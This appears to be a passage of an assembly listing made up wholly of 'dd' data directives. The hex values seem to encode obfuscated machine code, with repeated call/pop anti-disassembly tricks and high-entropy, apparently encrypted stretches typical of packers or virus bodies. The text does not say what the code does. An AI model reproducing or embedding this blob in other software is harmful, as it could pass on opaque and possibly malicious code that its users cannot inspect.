		dd 35850079h, 8952A899h, 0E004699Dh, 46895F07h,	53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 317D19F2h, 52F0BF58h, 3335BD8Bh, 965F07E0h, 2D6FBB66h
		dd 0DF8B6650h, 0FE996h,	97AD0000h, 2DB35EAFh, 0E1931E14h
		dd 692D6632h, 0A5B5FFC5h, 6A07E3CBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6ED7C352h
		dd 7B7E93ADh, 0CAF2AFBBh, 5E8h,	0CEE1D700h, 8D897A3Ah
		dd 7E001DDh, 0B287685Fh, 0FA8B6413h, 78243481h,	6A640CB1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 2683C352h, 321C6575h, 0F90EFC53h,	2C959D8Bh
		dd 858D07E0h, 7E3CBADh,	0BFCF8166h, 8B5650B1h, 4895FD8h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0D65A81FEh, 12899D8Bh, 95FF07E0h, 7E021CDh
		dd 0DF8B61F8h, 22C585C7h, 307E0h, 83F90000h, 0E3CBADBDh
		dd 840F0007h, 63h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 4FC35141h, 0E8511C08h, 0Ch, 78BC7679h
		dd 16FB0D2Ch, 7441CB3Bh, 0E95B5BF5h, 46h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 0C2C35545h, 41841A64h
		dd 0BA479BFFh, 1DB589C7h, 5007E02Eh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh, 7E00E01h, 2CAD9D89h
		dd 0BD8307E0h, 7E022C5h, 4A850F03h, 6A000004h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 8FF1C350h, 0FCB48D44h, 0D9858999h, 8307E022h, 0E3CBADBDh
		dd 840F0007h, 415h, 239DBD2Bh, 0BD8907E0h, 7E018B9h, 0CBADB5FFh
		dd 8D8907E3h, 7E000B1h,	1DA995FFh, 9D0B07E0h, 7E01DB9h
		dd 0CBA1B58Bh, 6A07E3h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 486A09C3h, 78E4B648h, 66A5AF84h
		dd 125ACF81h, 106C7h, 60600001h, 339D9D23h, 8D8907E0h
		dd 7E00739h, 28F0F61h, 8B000000h, 0B35061D7h, 24348970h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 78C35242h
		dd 2D63EF23h, 0ADB5FF04h, 6A07E3CBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 700CC356h
		dd 0F16911EBh, 0DAB70F26h, 2D259D8Bh, 95FF07E0h, 7E03011h
		dd 16819589h, 0B58B07E0h, 7E3CBA1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0B0C35343h,	9AEA8A67h, 2DB6B379h
		dd 9E9F9h, 0A880000h, 0EE31FBE6h, 817BA155h, 0AEFD1EFh
		dd 0D1858B5Eh, 6607E022h, 0C667EF81h, 8689D88Bh, 0C4h
		dd 11E8h, 91AC1B00h, 0BBEEBFD6h, 1C7007D0h, 887B356Fh
		dd 9D23778Bh, 7E0062Dh,	15958B5Bh, 8107E018h, 308B48CBh
		dd 4C2836Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0B6C35343h, 0B72C9A4Fh,	0AB7D7B68h, 20508907h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0AC35141h
		dd 31CEE6B7h, 0D4858D4Bh, 8907E3E0h, 0B886h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0A9EB6847h, 9D8B006Ah, 7E00445h, 0CBADB5FFh,	6A07E3h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0ABABE1C3h, 9A51E3E5h, 1BEDBD8Bh, 852907E0h,	7E01921h
		dd 2A9995FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0E8FED0C3h, 0A02996DBh, 26D19D23h
		dd 805107E0h, 965FFDF7h, 22D6BF53h, 505F7A0Fh, 2CBB5250h
		dd 0F4373CEh, 13E931h, 3DEC0000h, 35A07B4Dh, 0BCB8BBD6h
		dd 9C3FB2DAh, 97F28A5Fh, 96585AEAh, 0A2ED8060h,	3361F08Bh
		dd 0E031A1BDh, 0ADB5FF07h, 6A07E3CBh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0B989C352h
		dd 7BFC4E98h, 0EF816651h, 0BD8BFBD2h, 7E02F91h,	95FF13B7h
		dd 7E028E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	3CC35141h, 0BD837C2Fh, 7E028E1h, 38840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 655C357h,	19659D8Bh
		dd 9D8B07E0h, 7E0078Dh,	6DD7BB50h, 34895ADDh, 99BD3324h
		dd 0FF07E01Ah, 0E3CBADB5h, 0BD9D8B07h, 0FF07E030h, 0E0303595h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 22024028h, 9ED78166h, 0ADB5FFB8h, 6A07E3CBh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 3CADC357h, 4A55610Eh, 2161BD8Bh, 95FF07E0h
		dd 7E001B9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0E7C35040h, 0CE4B396Dh,	9529887Ch, 7E02FA5h, 731BD83h
		dd 0F0207E0h, 5884h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0AE9B6h, 0DADD0000h, 0CFB8B469h
		dd 286AC9Ah, 2039858Bh,	6A07E0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 1A48BCC3h, 1D29BD33h
		dd 0C607E0h, 3D85C700h,	7E004h,	81000000h, 38015EFh, 0F3AAE93Fh
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 7CB41C3h,	0EE8E285h, 35000000h, 1D61C655h
		dd 5EDC9724h, 457ED5C2h, 0DF81665Ah, 8B5B52A2h,	0A1BD8BC1h
		dd 8D07E004h, 0E013C985h, 5250FC07h, 0E232BB66h, 2404895Bh
		dd 2301B529h, 6A07E0h, 66CFEF80h, 6ADE8Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 22C35141h, 0A3858DFCh
		dd 6A07E4B1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0E13EC353h, 0D2949F77h, 0AE8FC7Dh
		dd 32000000h, 4BFA1BD2h, 9AFB91h, 8529601Ch, 7E0203Dh
		dd 0C0835B61h, 0D9D8B05h, 9007E019h, 6650B1B3h,	6A90F98Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 90BCC357h, 40E38177h, 8B00B62Ch, 0E02A55BDh
		dd 6A006A07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 8873C353h, 0A94DAB93h,	897CDBDEh
		dd 0E02FF9B5h, 8C0F07h,	6A000000h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0C918BC96h
		dd 89EB9D67h, 0E01FD585h, 95FFF907h, 7E03441h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 41C35040h, 8D2957F9h
		dd 7E0129Dh, 69B5295Fh,	8D07E02Fh, 0E3A3938Dh, 0CF805107h
		dd 0B70F5B07h, 6AD1FFF9h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0C471C356h,	35EAE7A9h
		dd 9CCB8166h, 9E10BFE9h, 0BD831265h, 7E016B1h, 8C850F01h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 6A3EC353h, 55006A02h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0F5786B87h
		dd 0A53E5D48h, 0F88A75B0h, 83BF6650h, 240489ABh, 6820Fh
		dd 9D890000h, 7E03245h,	2A9995FFh, 6A07E0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CFC336C3h
		dd 650019FFh, 0E58589h,	816607E0h, 0E952ADF3h, 0D94h, 0E8h
		dd 0ED815D00h, 7E4B1ADh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 58C35545h, 0C604EB55h, 0F864532h, 6AFBB7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 2A486CC3h, 477243AAh, 0E82721ABh, 14h, 0A50DFE6Fh, 0AD6D734Dh
		dd 8BA8D650h, 80596457h, 0BFDD38F4h, 8D5FD98Bh,	0E3946385h
		dd 0B9BD3307h, 6607E020h, 500F67BBh, 9E9h, 0A2606300h
		dd 76F0DF04h, 4891EB5h,	4D8D8924h, 6407E02Eh, 35FFh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 7E3D0FC3h, 333D02FDh, 12E964h, 0E9E40000h, 97FD85F8h
		dd 65AB2B3Fh, 8EDF2232h, 0ACABA4B0h, 258964F5h,	0
		dd 13BD9589h, 85FF07E0h, 7E020FDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 34C35747h, 14E8E6D0h, 9000000h
		dd 86277B3Ah, 45477C9Bh, 0ACADB1D9h, 0F0ACCC43h, 5B72C27Dh
		dd 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 9FA793C3h, 0C380B484h, 91BD3315h,	0FF07E01Bh
		dd 0E004A9B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 8995FF3Fh, 0E907E033h
		dd 126h, 26A9BD23h, 0BD2907E0h,	7E004EDh, 8D0F00B0h, 0Ch
		dd 68D0Fh, 9D8B0000h, 7E023F1h,	0BF6670E6h, 71E46868h
		dd 830F613Ch, 0F6h, 41BD23h, 0B60F07E0h, 10E9C8h, 47A70000h
		dd 1D651C46h, 5A168880h, 8E87E0C5h, 6BA7868h, 89000000h
		dd 0E016118Dh, 29C18B07h, 0E0137195h, 4E8C107h,	2F32D381h
		dd 0F76611F9h, 6820FE2h, 29000000h, 0E017BDB5h,	89C82B07h
		dd 0E016CD95h, 8BD18B07h, 0E002019Dh, 1AE907h, 11E80000h
		dd 32000000h, 0EC8B5FA3h, 0B6814288h, 0F483733h, 91155164h
		dd 5B5CD380h, 2601858Bh, 0BB6607E0h, 0C0838A66h, 43CB8107h
		dd 831E29A1h, 0BD8900C0h, 7E03415h, 0D03BD88Bh,	0C830Fh
		dd 0E9F80000h, 52h, 33AD9D89h, 8D8B07E0h, 7E020E9h, 118E0Fh
		dd 8E0F0000h, 0Bh, 5E8h, 70CA5400h, 835F6319h, 840F01E1h
		dd 26h,	2F318589h, 36BF07E0h, 837912B8h, 0E020E9A5h, 9D29FE07h
		dd 7E02CA9h, 26019589h,	0D38007E0h, 0E9ECh, 0B58D0000h
		dd 7E42B51h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	77C35545h, 708F781h, 0CE83B46h,	82000000h, 715B589Dh
		dd 7012DFD6h, 6689A6B1h, 5BD4A2BFh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D4CC4BC3h
		dd 9805FCE0h, 8903DCCAh, 0E0011D85h, 0A995FF07h, 6A07E018h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 2B78C352h, 46F64562h, 8FE7F49Dh, 11E8DE8Ah
		dd 0A5000000h, 0DE245E66h, 8D7F128h, 0FDB109B4h, 30B62CEBh
		dd 28EDBD8Bh, 0B95B07E0h, 816h,	2AE5BD8Bh, 0DF8B07E0h
		dd 0E9FCE183h, 0Fh, 0BF8502F5h,	6642F787h, 0F9DDFAFDh
		dd 8130F22Dh, 0F21232DBh, 6AFC6Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0B8ECC3C3h, 0
		dd 2E859D8Bh, 0D22B07E0h, 258D9D8Bh, 33AD07E0h,	3E8D1C2h
		dd 4E983D0h, 9D89F475h,	7E01195h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 36C35343h, 1F339E96h, 0D99D3363h
		dd 0D07E004h, 88h, 6880Fh, 0B5010000h, 7E001C9h, 10E9h
		dd 0CAFA3800h, 518E6E26h, 1D708E9Fh, 8A34743Dh,	15958B39h
		dd 6A07E018h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0CCCBC356h, 3D958954h,	8B07E020h
		dd 0E020498Dh, 0F5BF6607h, 0C28B5071h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 0E958188Bh, 9, 98FECE0h,	3717FC8Ah, 0E9BD8B9Ch
		dd 8307E033h, 0E012F5BDh, 840F0007h, 5Eh, 0B8F8h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 79EC8AC3h, 0DD3B30CDh, 58EF80B0h, 4EE88D8Dh,	0B58907E0h
		dd 7E00565h, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 2D5A2EC3h, 2B00E381h, 0BD837AF5h
		dd 7E022C5h, 23840F00h,	60000004h, 33AD9D01h, 0F6007E0h
		dd 8Fh,	0D2816600h, 616118DCh, 22C5BD83h, 0F0107E0h, 41C84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0E2D55EF9h, 0C381660Eh, 0BD83592Ch, 7E022C5h
		dd 0B4860F03h, 89000003h, 0E01CA585h, 9D236007h, 7E01A21h
		dd 8BD98C66h, 5FDB80D9h, 6A04E180h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 9208C353h
		dd 5820Fh, 81660000h, 0AC74AF3h, 41840FC9h, 23000001h
		dd 0E00095BDh, 99858B07h, 6A07E033h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 31D9C352h
		dd 10A357Ch, 7E8h, 0C8EF2200h, 51B75B66h, 2F55BD8Bh, 95B07E0h
		dd 0E01DC99Dh, 89853307h, 6A07E031h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6457C356h
		dd 16FD9589h, 0CB8007E0h, 0BB6690A7h, 505092E8h, 0FDD8A52h
		dd 0B3BB5031h, 5B122631h, 6A90585Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C853C353h
		dd 6A0E816Ah, 0DA8B6600h, 48169868h, 0EE83Eh, 66AE0000h
		dd 0BF0C2751h, 37CE5484h, 41430F7Dh, 68A0Fh, 52500000h
		dd 585A310Fh, 2434815Fh, 3E571567h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0A0C35141h,	2439B531h, 0FFF507E0h
		dd 0E021CD95h, 89F98B07h, 0E3CBAD85h, 0FDB58907h, 0E907E025h
		dd 208h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	80C35646h, 12C2CE9h, 5E91F2Eh, 0D000000h, 0CF386657h
		dd 0CBA5858Bh, 0BD2907E3h, 7E02371h, 1800C7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0CF6DBC3h, 8B66F35Ch, 0A9B58BFEh, 0E807E3CBh, 8, 4FCA3D83h
		dd 9438156Eh, 5E53F560h, 858B5B61h, 7E005F9h, 2881B531h
		dd 68907E0h, 111BD89h, 0BD2307E0h, 7E02621h, 3399858Bh
		dd 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 24FAAAC3h, 857086BAh, 4468925h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5FC35141h, 0A6CE15ACh
		dd 9D8B4DD8h, 7E00639h,	8B666096h, 53B966CAh, 565061B0h
		dd 0DF3FBA60h, 0A2B87257h, 61320AF1h, 9529965Bh, 7E023A5h
		dd 0CBA5B5FFh, 4E807E3h, 0FF000000h, 0E9001F03h, 0Bh, 34D50029h
		dd 9752ECF5h, 5075034Ah, 448BFB8Bh, 8E90424h, 4D000000h
		dd 24CC3B11h, 8B771464h, 897AB700h, 0E9042444h,	0Ch, 66A7F4DDh
		dd 1ECD27C8h, 928AFFAAh, 51006A58h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 9D8B3EF1h, 7E02FF9h, 0CBAD858Dh
		dd 9D8B07E3h, 7E02E4Dh,	8E86090h, 7000000h, 0A7CDA63Dh
		dd 8B5250A9h, 0CE85AF0h, 32000000h, 4BB8C09Ch, 2BBAA35Fh
		dd 0F9F5524h, 8Eh, 50615E00h, 52505250h, 310F5F52h, 0EE9h
		dd 4C7A6B00h, 7B1FBB8Bh, 922FB26Ah, 5A40B8EFh, 0B3310F58h
		dd 90585AB9h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	0F9C35141h, 263002CEh, 8589FA8Bh, 7E0088Dh, 21CD95FFh
		dd 0C38107E0h, 2096599Fh, 0C585C761h, 307E022h,	81000000h
		dd 0B8A05FDBh, 0ADBD8308h, 7E3CBh, 31840Fh, 0EF800000h
		dd 44E951h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 3042D1C3h, 870FE1E6h, 0E0CF8107h
		dd 50075111h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0C3201BC3h, 5860Fh, 81660000h, 6640A2EBh
		dd 42CFF781h, 22C5BD83h, 0F0307E0h, 3B685h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 5626025Ch, 4C13B1E7h, 6E9h, 0C27CA800h, 8348C73Bh, 0E3CBADBDh
		dd 840F0007h, 37Bh, 9599D781h, 0B5FF289Ch, 7E3CBADh, 10B59D0Bh
		dd 95FF07E0h, 7E01DA9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0DEC35040h, 0E9AB4FCDh, 25A4AA95h, 0A1B58B8Ch
		dd 8B07E3CBh, 0E017B59Dh, 19BD8B07h, 0C707E029h, 1000106h
		dd 859D8B00h, 0F807E001h, 0FB8B5096h, 5E896h, 0CFEC0000h
		dd 66A07D2Eh, 5B67CBBFh, 26B1BD89h, 0B5FF07E0h,	7E3CBADh
		dd 11E8h, 2F588100h, 18422978h,	0C11BCF9Fh, 0DC72675h
		dd 8D8917F4h, 7E03125h,	1195FF5Bh, 6607E030h, 8BCA1ABBh
		dd 0E3CBA1B5h, 0CE907h,	263D0000h, 6E003C1Fh, 0C1568840h
		dd 858B0FEAh, 7E022D1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 20C35141h, 0E96E136Bh, 0Ah, 0B97DD1DAh
		dd 0BAA6D074h, 8689CCD0h, 0C4h,	8BFEBF0Fh, 0E0181595h
		dd 3DBD8907h, 8307E014h, 30BF04C2h, 890CF994h, 6A2050h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0DAE0C2C3h, 0DE476F9Eh, 0AD9D8B69h, 307E006h, 0E01D01BDh
		dd 0D4858D07h, 6A07E3E0h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0DBE6C355h,	419589E4h
		dd 6607E025h, 0C069C381h, 0B88689h, 8D890000h, 7E0294Dh
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0F4B7A8C3h, 0F1E34551h, 95091698h, 7E02911h
		dd 0DAD78166h, 0ADB5FFC7h, 8B07E3CBh, 0E011A99Dh, 9995FF07h
		dd 6A07E02Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 7D3C352h, 9046D35Dh, 0FA8B6611h
		dd 0E6EB8166h, 0D789BB96h, 8B507B12h, 243489DEh
		dd 12299D29h, 0B5FF07E0h, 7E3CBADh, 0D4C4BF66h,	28E995FFh
		dd 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8BD83BC3h, 0C99D8BDAh, 8307E012h,	0E028E1BDh
		dd 840F0007h, 5Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0CCC35242h, 32D8B560h, 81FF87F7h, 0CB9228DFh
		dd 94DB8178h, 5057C79Eh, 5662BF53h, 895B4BB8h, 6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 31748BC3h, 0E02CB595h, 0ADB5FF07h, 6607E3CBh, 4B53CF81h
		dd 303595FFh, 8D0907E0h, 7E01AB1h, 0CBADB5FFh, 6A07E3h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 378F7AC3h, 0A05F5204h, 2B0D9D31h, 9D8907E0h,	7E026B9h
		dd 1B995FFh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0C2D4A6C3h, 0CC8A7923h, 0BD8362C5h
		dd 7E00731h, 54840F02h,	89000000h, 0E0347595h, 39858B07h
		dd 6A07E020h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 293FC352h, 0FD426C8Fh,	6A0000C6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 93B3C351h, 7BF53D24h, 0C76B9348h,	0E0043D85h
		dd 7, 5D9D8B00h, 0E907E020h, 0FFFFF3F0h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 3FC35343h, 0F2D2BF60h
		dd 858B6D0Dh, 7E0138Dh,	6AC18B61h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9E5AC355h
		dd 3C96B4EFh, 0E4EE1E29h, 6E9h,	0D4A5DA00h, 0F50E941Bh
		dd 13C9858Dh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 9E99BC3h, 35000000h, 600CFAC2h
		dd 750940F5h, 0CBB6650h, 24048904h, 6AF98Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 4AC35141h, 3FE4CBF0h
		dd 0B589D98Ah, 7E023BDh, 850F006Ah, 3, 8DDFBF0Fh, 0E4C16885h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 6BC56701h, 6F160786h, 5753A50Fh,	5B5F5B56h
		dd 64DBD8Bh, 0C08307E0h, 0FEB70F05h, 0FC5CBB50h, 489759Eh
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 96EADE56h, 7DBF74DAh, 6A5EC99Bh,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E94E2BB4h, 7, 0AEAA97B2h, 6A97F561h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 31B445D8h, 0E02F8D9Dh, 1BD3107h, 0FF07E002h,	0E0344195h
		dd 6870F07h, 8B000000h,	0E02085BDh, 5880F07h, 0BF000000h
		dd 11131E22h, 0A3938D8Dh, 6A07E3h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 570BE0C3h, 280ABF52h
		dd 5F5B02C6h, 6AD1FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 83D8C3C3h, 0E016B1BDh, 850F0107h
		dd 84h,	6800Fh,	9D290000h, 7E024FDh, 6A026Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E96AB2C3h
		dd 8, 0D38AF631h, 779B0FC5h, 5A516050h,	2820Fh,	0F18B0000h
		dd 24048961h, 4880Fh, 0B7560000h, 95FF5BE8h, 7E02A99h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1FC35747h
		dd 63270E6Ah, 0BB663A65h, 8D8960C4h, 7E0195Dh, 0DB3E9h
		dd 0E800h, 815D0000h, 0E4C172EDh, 5F29BB07h, 8D314B09h
		dd 7E03161h, 9463858Dh,	0BF0F07E3h, 0F98A90D8h,	9021B350h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FAC35242h
		dd 0EB816660h, 8D233512h, 7E01671h, 35FF6461h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 71C35545h
		dd 5FF85346h, 6399D8Bh,	896407E0h, 25h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0FD85FFF9h, 6A07E020h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 9131C357h, 8A17C0E1h
		dd 0FFF6AFDh, 28Ch, 0FFDF8B00h,	0E02A35B5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0E66D82D7h, 0F2256A44h, 95FFEDB8h, 7E03389h,	0FEE9h
		dd 0F0816000h, 54E383ABh, 2EF99D8Bh, 0B06107E0h, 70E6FC00h
		dd 1AF78166h, 8971E4E7h, 0E0049185h, 0EF816607h, 613CB9CAh
		dd 0D1830Fh, 9D8B0000h,	7E01E71h, 1C8B60Fh, 0E0321D9Dh
		dd 6BA07h, 95890000h, 7E01871h,	0E8C1C18Bh, 11B58904h
		dd 6607E032h, 0DB81E2F7h, 3193E8C5h, 9D8BC82Bh,	7E028F9h
		dd 8960D18Bh, 0E021299Dh, 0D1BF0F07h, 0CE961h, 7E90000h
		dd 2C000000h, 0A8F3E4BFh, 858B5F1Eh, 7E01A3Dh, 14B59529h
		dd 0C08307E0h, 0A99D8B07h, 8307E023h, 0D03B00C0h, 21830Fh
		dd 0B3600000h, 0F08B6674h, 51E961h, 10E90000h, 0CC000000h
		dd 43C8384h, 23CE08C1h,	0DE8FABE5h, 8BF65C21h, 0E014758Dh
		dd 0FB8B6607h, 16898D89h, 0E18307E0h, 24840F01h, 2B000000h
		dd 0E02C71BDh, 75A58307h, 0FE07E014h, 19D19D8Bh, 958907E0h
		dd 7E01A3Dh, 1259D8Bh, 0E907E0h, 8D000000h, 0E43AACB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 50F0A907h, 6A2933h, 1C1BD8Bh, 9D2B07E0h
		dd 7E0205Dh, 18A995FFh,	6A07E0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 34DB96C3h, 9E8A3h, 0E1310000h
		dd 0CCDF7060h, 899CA288h, 0E000FD9Dh, 9D2B5F07h, 7E02C19h
		dd 7E2B9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1604h, 0C3504000h, 176FB2Dh,	0E0014595h, 0FCE18307h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7FC35141h
		dd 11C49959h, 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 944578h, 0C5BD8953h, 5B07E000h, 0B8h
		dd 1BD8B00h, 0BA07E006h, 0
		dd 75952956h, 5F07E012h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 31C35040h
		dd 65BD8B48h, 0F07E026h, 68Ch, 1D9D8B00h, 2B07E001h, 0E001A9BDh
		dd 880D07h, 0BF660000h,	0DE8BFB5Bh, 1815958Bh, 6A07E0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
